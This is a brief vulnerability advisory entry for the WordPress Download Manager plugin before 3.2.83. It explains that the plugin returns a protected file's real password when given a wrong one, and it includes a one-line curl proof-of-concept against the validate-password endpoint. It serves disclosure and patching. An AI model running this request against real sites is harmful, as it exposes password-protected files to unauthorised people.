Download Manager < 3.2.83 - Unauthenticated Protected File Download Password Leak

2023-12-0900:00:00

Liu Shaohong

wpscan.com

download manager

unauthenticated

file download

password leak

plugin

vulnerability

AI Score

6.7

Confidence

High

EPSS

0.001

Percentile

36.0%

JSON

Description The plugin does not protect file download’s passwords, leaking it upon receiving an invalid one.

PoC

223 being the ID of a password protected download: curl -X POST --data ‘__wpdm_ID=223&dataType;=json&execute;=wpdm_getlink&action;=wpdm_ajax_call&password;=123322’ https://example.com/wp-json/wpdm/validate-password The response will contain the password in the ‘op’ field